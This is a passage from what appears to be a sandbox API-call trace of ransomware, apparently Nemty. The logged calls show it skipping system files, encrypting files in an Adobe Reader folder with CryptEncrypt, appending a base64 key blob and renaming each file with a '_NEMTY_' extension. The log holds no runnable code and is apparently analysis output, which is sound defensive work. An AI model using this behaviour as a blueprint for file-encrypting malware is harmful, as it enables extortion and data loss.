cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="form_responses.gif", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="form_responses.gif", lpUsedDefaultChar=0x0) returned 18 [0193.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="form_responses.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="form_responses.gif", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="form_responses.gif", lpUsedDefaultChar=0x0) returned 18 [0193.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94330 [0193.537] Sleep (dwMilliseconds=0x5) [0193.547] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27028850, dwHighDateTime=0x1d561e8)) [0193.547] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27028850, dwHighDateTime=0x1d561e8)) [0193.547] GetLastError () returned 0x0 [0193.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.547] GetLastError () returned 0x0 [0193.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.547] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.547] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.547] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.547] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="5bCl80D37/7vDnFSsSqBXUIzq8F//qawkrqpepK01JnNkUfTSaZrhAQstRRHj+w7\r\nLc0fDybFQp39a6AuCZy8A20wqmD3gixhYPYCiCn8J/1dU5DUBsPRuarVFVt4c7Vq\r\n5McSFpMsK9KTkhRH4aSYyUBZhI7zhXF1fTP+cpj5R7id5tYfHMU03V9zBXvRjJB3\r\nwIZgMHOHpDiYlQ/OF5oRlGMetW6hkbJE/dfFDM+dWtdo4W50JXt7PPvNou8FZmVx\r\nWr37kNN8VtYmOw82xH2TW/LdHmTyWw3RC2zQSb2aNUnh/j65eZnlBKWCXzNj12YD\r\nIphGqLt4WDFDhcB/GTYvJQ==\r\n", pcchString=0x653e91c) returned 1 [0193.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.548] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\form_responses.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\form_responses.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.548] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=969) returned 1 [0193.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3c0) returned 0x6340048 [0193.548] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.548] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x3c0, lpOverlapped=0x0) returned 1 [0193.550] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.550] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x3c0, lpOverlapped=0x0) returned 1 [0193.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.550] SetFilePointer (in: hFile=0x254, lDistanceToMove=969, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c9 [0193.550] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.550] CloseHandle (hObject=0x254) returned 1 [0193.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0193.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0193.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.551] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\form_responses.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\form_responses.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\form_responses.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\form_responses.gif._nemty_kgobjgd_")) returned 1 [0193.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0193.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.551] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="info.gif", cAlternateFileName="")) returned 1 [0193.551] lstrcmpiW (lpString1="info.gif", lpString2=".") returned 1 [0193.551] lstrcmpiW (lpString1="info.gif", lpString2="..") returned 1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="...") returned 1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="windows") returned -1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="rsa") returned -1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="NTDETECT.COM") returned -1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="ntldr") returned -1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="MSDOS.SYS") returned -1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="IO.SYS") returned -1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="boot.ini") returned 1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="boot.ini") returned 1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="ntuser.dat") returned -1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="desktop.ini") returned 1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="CONFIG.SYS") returned 1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="RECYCLER") returned -1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="bootmgr") returned 1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="programdata") returned -1 [0193.552] lstrcmpiW (lpString1="info.gif", lpString2="appdata") returned 1 [0193.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.gif", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.gif", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="info.gif", lpUsedDefaultChar=0x0) returned 8 [0193.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.gif", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.gif", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="info.gif", lpUsedDefaultChar=0x0) returned 8 [0193.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.gif", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.gif", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="info.gif", lpUsedDefaultChar=0x0) returned 8 [0193.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.gif", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.gif", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="info.gif", lpUsedDefaultChar=0x0) returned 8 [0193.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.553] Sleep (dwMilliseconds=0x5) [0193.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2704e9b0, dwHighDateTime=0x1d561e8)) [0193.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2704e9b0, dwHighDateTime=0x1d561e8)) [0193.563] GetLastError () returned 0x0 [0193.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.563] GetLastError () returned 0x0 [0193.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.563] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.563] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.563] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.563] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="w8XgrRHdJHJkyMXvZjrCGFnAyDFxxN2X99f6UEojtm3HFWYM37wG0muFU266cksF\r\nypgRKZoCCh9FHD33U8XkjVCQ+yYZsnZyWPmX74QIQr9c9D2NXH46nRC82aLnAp2r\r\nXwaAvD6IP269lLwr+aszHvqcj7NzZap+Q0lQEkepeMBKLHhUhDl59sfXkO7oQNMk\r\nakpGtefKHm8Wl5DcP6EuEF9195KuRF8SqRafSTSF04ryyL4t9oUXMHAggldf8dxd\r\nyD38Vg0ZkCSFdqvGixPnyhUAeqYfvUViBSYCizcmOd8I/0dGP7KhRS/Sx9gJCYvr\r\nvu4Zde3Ca/njlG4J5zvUdQ==\r\n", pcchString=0x653e91c) returned 1 [0193.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.563] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\info.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\info.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.564] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=578) returned 1 [0193.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x240) returned 0x6340048 [0193.564] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.564] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x240, lpOverlapped=0x0) returned 1 [0193.565] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.565] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x240, lpOverlapped=0x0) returned 1 [0193.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.565] SetFilePointer (in: hFile=0x254, lDistanceToMove=578, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x242 [0193.565] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.565] CloseHandle (hObject=0x254) returned 1 [0193.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.566] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\info.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\info.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\info.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\info.gif._nemty_kgobjgd_")) returned 1 [0193.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.566] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e9a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="main.css", cAlternateFileName="")) returned 1 [0193.566] lstrcmpiW (lpString1="main.css", lpString2=".") returned 1 [0193.566] lstrcmpiW (lpString1="main.css", lpString2="..") returned 1 [0193.566] lstrcmpiW (lpString1="main.css", lpString2="...") returned 1 [0193.566] lstrcmpiW (lpString1="main.css", lpString2="windows") returned -1 [0193.566] lstrcmpiW (lpString1="main.css", lpString2="$RECYCLE.BIN") returned 1 [0193.567] lstrcmpiW (lpString1="main.css", lpString2="rsa") returned -1 [0193.567] lstrcmpiW (lpString1="main.css", lpString2="NTDETECT.COM") returned -1 [0193.567] lstrcmpiW (lpString1="main.css", lpString2="ntldr") returned -1 [0193.567] lstrcmpiW (lpString1="main.css", lpString2="MSDOS.SYS") returned -1 [0193.567] lstrcmpiW (lpString1="main.css", lpString2="IO.SYS") returned 1 [0193.567] lstrcmpiW (lpString1="main.css", lpString2="boot.ini") returned 1 [0193.567] lstrcmpiW (lpString1="main.css", lpString2="boot.ini") returned 1 [0193.567] lstrcmpiW (lpString1="main.css", lpString2="AUTOEXEC.BAT") returned 1 [0193.567] lstrcmpiW (lpString1="main.css", lpString2="ntuser.dat") returned -1 [0193.567] lstrcmpiW (lpString1="main.css", lpString2="desktop.ini") returned 1 [0193.567] lstrcmpiW (lpString1="main.css", lpString2="CONFIG.SYS") returned 1 [0193.567] lstrcmpiW (lpString1="main.css", lpString2="RECYCLER") returned -1 [0193.567] lstrcmpiW (lpString1="main.css", lpString2="BOOTSECT.BAK") returned 1 [0193.567] lstrcmpiW (lpString1="main.css", lpString2="bootmgr") returned 1 [0193.567] lstrcmpiW (lpString1="main.css", lpString2="programdata") returned -1 [0193.567] lstrcmpiW (lpString1="main.css", lpString2="appdata") returned 1 [0193.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.css", lpUsedDefaultChar=0x0) returned 8 [0193.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.css", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, 